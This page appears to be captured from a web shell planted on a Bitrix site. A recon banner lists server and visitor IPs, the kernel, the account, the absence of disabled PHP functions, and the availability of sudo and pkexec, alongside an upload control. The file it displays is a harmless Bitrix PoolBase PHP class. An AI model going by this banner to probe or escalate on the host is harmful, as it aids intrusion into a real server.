Server IP : 80.87.202.40 / Your IP : 216.73.216.169 Web Server : Apache System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64 User : bitrix ( 600) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/internals/ |
Upload File : |
<?php namespace Bitrix\Sale\Internals; class PoolBase { protected static $pool = array(); protected static $index = 0; public static function getPoolByCode($code) { if (isset(static::$pool[$code])) { return static::$pool[$code]; } return null; } public static function get($code, $type) { if (isset(static::$pool[$code][$type])) { return static::$pool[$code][$type]; } return null; } /** * @param $code * @param $type * @param int $index * * @return null|mixed */ public static function getByIndex($code, $type, $index) { if (isset(static::$pool[$code][$type][$index])) { return static::$pool[$code][$type][$index]; } return null; } /** * @param $code * @param $type * @param $value */ public static function add($code, $type, $value) { static::$index++; static::$pool[$code][$type][static::$index] = $value; } /** * @param $code * @param $type * @param $index */ public static function delete($code, $type, $index) { if (isset(static::$pool[$code][$type][$index])) { unset(static::$pool[$code][$type][$index]); } } /** * @param $code * @param $type * * @return bool */ public static function isTypeExists($code, $type) { return (!empty(static::$pool[$code][$type])); } /** * @param null $code * @param null $type */ public static function resetPool($code = null, $type = null) { if ($code !== null) { if ($type !== null) { unset(static::$pool[$code][$type]); } else { unset(static::$pool[$code]); } } else { static::$pool = array(); } if (empty(static::$pool[$code])) { unset(static::$pool[$code]); } } }